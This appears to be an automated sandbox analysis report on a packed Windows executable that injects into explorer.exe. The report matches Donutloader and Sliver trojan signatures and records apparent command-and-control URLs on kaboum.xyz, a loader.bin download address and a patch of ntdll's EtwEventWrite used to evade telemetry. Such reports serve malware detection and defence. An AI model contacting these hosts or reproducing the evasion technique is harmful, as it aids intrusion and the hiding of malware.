Source: explorer.exe, 00000004.00000002.3317296206.000000C00007A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/umd/umd/umd/array.js?u=7966a1472
Source: explorer.exe, 00000004.00000002.3317296206.000000C00016A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/wglGetLayerPaletteEntrieswglSetLayerPaletteEntries
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyzWinHttpSetTimeoutshttps://sliver.kaboum.xyzWinHttpGetProxyForUrl
Source: explorer.exe, 00000004.00000002.3317296206.000000C00039A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.3317296206.000000C000388000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyzb
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyze_=5y8741670&j=1q5593623
Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyzhttps://sliver.kaboum.xyzhttps://sliver.kaboum.xyztime:
Source: explorer.exe, 00000004.00000002.3306176398.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000004.00000002.3306176398.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.2333678768.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3094400657.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon
Source: explorer.exe, 00000004.00000002.3317296206.000000C000287000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://x=9718174h01HTTP/1.1HTTP/1.1eUser-AgentAccept-Lx=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000004.00000002.3317296206.000000C0000C4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://y=113v858r221HTTP/1.1HTTP/1.1eUser-AgentAccept-Ly=Accept-LanguageAccept-Languageen-US

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown

HTTPS traffic detected: 51.158.71.131:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: explorer.exe, 00000004.00000002.3317296206.000000C0001A8000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: RegisterRawInputDevices

memstr_6f93dabd-7

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000004.00000002.3315398464.0000000012FDC000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a Author: unknown
Source: 00000004.00000002.3313596828.0000000011F7C000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a Author: unknown
Source: 00000000.00000003.2360150668.0000018F7AB39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000004.00000000.2339439660.0000000010CD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000004.00000002.3312693021.0000000010CD0000.00000010.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR	Matched rule: Multi_Trojan_Bishopsliver_42298c4a Author: unknown

Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA6656F NtCreateFile,RtlNtStatusToDosError,CreateIoCompletionPort,SetFileCompletionNotificationModes,CloseHandle,	0_2_00007FF70FA6656F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE4514 NtQuerySystemInformation,memcpy,memcpy,memcpy,memcpy,memcpy,RtlFreeHeap,	0_2_00007FF70FAE4514
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA65E40 NtDeviceIoControlFile,RtlNtStatusToDosError,	0_2_00007FF70FA65E40
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE3444 NtQueryInformationProcess,NtQueryInformationProcess,	0_2_00007FF70FAE3444
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE111E NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,CloseHandle,CloseHandle,memcpy,RtlFreeHeap,RtlFreeHeap,	0_2_00007FF70FAE111E
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE168A NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,CloseHandle,memcpy,	0_2_00007FF70FAE168A

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FA65E40: NtDeviceIoControlFile,RtlNtStatusToDosError,

0_2_00007FF70FA65E40

Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA7AFA4	0_2_00007FF70FA7AFA4
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAB6F2C	0_2_00007FF70FAB6F2C
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE4C62	0_2_00007FF70FAE4C62
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE0AEF	0_2_00007FF70FAE0AEF
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA76A17	0_2_00007FF70FA76A17
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA74A04	0_2_00007FF70FA74A04
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA68655	0_2_00007FF70FA68655
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA682CB	0_2_00007FF70FA682CB
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA75CE4	0_2_00007FF70FA75CE4
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAA7BD2	0_2_00007FF70FAA7BD2
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA9DB4C	0_2_00007FF70FA9DB4C
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAB7A83	0_2_00007FF70FAB7A83
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA83980	0_2_00007FF70FA83980
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA317F3	0_2_00007FF70FA317F3
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAA54C0	0_2_00007FF70FAA54C0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA694F9	0_2_00007FF70FA694F9
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA811D0	0_2_00007FF70FA811D0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAAB1D8	0_2_00007FF70FAAB1D8
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE111E	0_2_00007FF70FAE111E
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD1040	0_2_00007FF70FAD1040
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA38F80	0_2_00007FF70FA38F80
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA34F60	0_2_00007FF70FA34F60
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA3CED0	0_2_00007FF70FA3CED0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA60F00	0_2_00007FF70FA60F00
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAA8E5A	0_2_00007FF70FAA8E5A
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAC2DD0	0_2_00007FF70FAC2DD0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE8DEC	0_2_00007FF70FAE8DEC
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAACD40	0_2_00007FF70FAACD40
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA5CD2F	0_2_00007FF70FA5CD2F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA42D0D	0_2_00007FF70FA42D0D
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA40C5F	0_2_00007FF70FA40C5F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FACAC00	0_2_00007FF70FACAC00
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAF2B60	0_2_00007FF70FAF2B60
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FACEB10	0_2_00007FF70FACEB10
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA6CA7F	0_2_00007FF70FA6CA7F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FABC8D0	0_2_00007FF70FABC8D0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD0900	0_2_00007FF70FAD0900
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FABA880	0_2_00007FF70FABA880
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAEE86E	0_2_00007FF70FAEE86E
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE0867	0_2_00007FF70FAE0867
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAEC74A	0_2_00007FF70FAEC74A
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA906B8	0_2_00007FF70FA906B8
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FABE690	0_2_00007FF70FABE690
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA84688	0_2_00007FF70FA84688
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAC85E0	0_2_00007FF70FAC85E0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD84F0	0_2_00007FF70FAD84F0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA484F3	0_2_00007FF70FA484F3
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA9243D	0_2_00007FF70FA9243D
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD23F0	0_2_00007FF70FAD23F0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD0290	0_2_00007FF70FAD0290
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FACC290	0_2_00007FF70FACC290
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAC8130	0_2_00007FF70FAC8130
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA600D3	0_2_00007FF70FA600D3
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA7C062	0_2_00007FF70FA7C062
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA38010	0_2_00007FF70FA38010
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD3E80	0_2_00007FF70FAD3E80
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA3BE60	0_2_00007FF70FA3BE60
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD5D40	0_2_00007FF70FAD5D40
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD1D10	0_2_00007FF70FAD1D10
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FABDC30	0_2_00007FF70FABDC30
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA35BB6	0_2_00007FF70FA35BB6
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAE9B0C	0_2_00007FF70FAE9B0C
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA9243D	0_2_00007FF70FA9243D
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FACB8B0	0_2_00007FF70FACB8B0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAB3850	0_2_00007FF70FAB3850
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD37B0	0_2_00007FF70FAD37B0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA4D796	0_2_00007FF70FA4D796
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FADB6A0	0_2_00007FF70FADB6A0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD96E0	0_2_00007FF70FAD96E0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAD5670	0_2_00007FF70FAD5670
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAEF54F	0_2_00007FF70FAEF54F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA5744F	0_2_00007FF70FA5744F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FADD420	0_2_00007FF70FADD420
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA8F41E	0_2_00007FF70FA8F41E
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAC33D0	0_2_00007FF70FAC33D0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAC740F	0_2_00007FF70FAC740F
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA8B342	0_2_00007FF70FA8B342
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA632F5	0_2_00007FF70FA632F5
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FAB11A0	0_2_00007FF70FAB11A0
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FA5313D	0_2_00007FF70FA5313D
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: 0_2_00007FF70FABD140	0_2_00007FF70FABD140

Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: String function: 00007FF70FA38600 appears 60 times
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: String function: 00007FF70FA3AE60 appears 47 times
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: String function: 00007FF70FA39F10 appears 76 times
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Code function: String function: 00007FF70FA38A50 appears 187 times

Source: twjMb9cX64.exe, 00000000.00000003.2325795269.0000018F78390000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameApplicationFrameHost.exej% vs twjMb9cX64.exe

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000004.00000002.3315398464.0000000012FDC000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a reference_sample = 3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007, os = multi, severity = x86, creation_date = 2021-10-20, scan_context = file, memory, license = Elastic License v2, threat_name = Multi.Trojan.Bishopsliver, fingerprint = 0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a, id = 42298c4a-fcea-4c5a-b213-32db00e4eb5a, last_modified = 2022-01-14
Source: 00000004.00000002.3313596828.0000000011F7C000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a reference_sample = 3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007, os = multi, severity = x86, creation_date = 2021-10-20, scan_context = file, memory, license = Elastic License v2, threat_name = Multi.Trojan.Bishopsliver, fingerprint = 0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a, id = 42298c4a-fcea-4c5a-b213-32db00e4eb5a, last_modified = 2022-01-14
Source: 00000000.00000003.2360150668.0000018F7AB39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000004.00000000.2339439660.0000000010CD0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000004.00000002.3312693021.0000000010CD0000.00000010.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR	Matched rule: Multi_Trojan_Bishopsliver_42298c4a reference_sample = 3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007, os = multi, severity = x86, creation_date = 2021-10-20, scan_context = file, memory, license = Elastic License v2, threat_name = Multi.Trojan.Bishopsliver, fingerprint = 0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a, id = 42298c4a-fcea-4c5a-b213-32db00e4eb5a, last_modified = 2022-01-14

Source: twjMb9cX64.exe

Static PE information: Section: UPX1 ZLIB complexity 0.9970036204268292

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/0@2/2

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FABB0B0 memset,GetModuleHandleW,FormatMessageW,GetLastError,

0_2_00007FF70FABB0B0

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Code function: 0_2_00007FF70FADD420 SetLastError,GetCurrentDirectoryW,GetLastError,GetLastError,GetLastError,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlLookupFunctionEntry,CreateToolhelp32Snapshot,memset,Module32FirstW,Module32NextW,UnmapViewOfFile,CloseHandle,UnmapViewOfFile,CloseHandle,CloseHandle,RtlVirtualUnwind,

0_2_00007FF70FADD420

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6076:120:WilError_03

Source: C:\Windows\explorer.exe

File opened: C:\Windows\system32\53af9d6444e78cde6706718587e2e5083f85f5c6cb8878965921aed77c1b7b41AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: C:\Windows\explorer.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\twjMb9cX64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: twjMb9cX64.exe	ReversingLabs: Detection: 18%
Source: twjMb9cX64.exe	Virustotal: Detection: 25%

Source: twjMb9cX64.exe

String found in binary or memory: https://kaboum.xyz/artdonjon/loader.bin

Source: unknown	Process created: C:\Users\user\Desktop\twjMb9cX64.exe "C:\Users\user\Desktop\twjMb9cX64.exe"
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\twjMb9cX64.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: twjMb9cX64.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: twjMb9cX64.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: twjMb9cX64.exe

Static PE information: section name: UPX2

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: EtwEventWrite new code: 0xC3 0x38 0x8B 0xBD 0xDC 0xC4

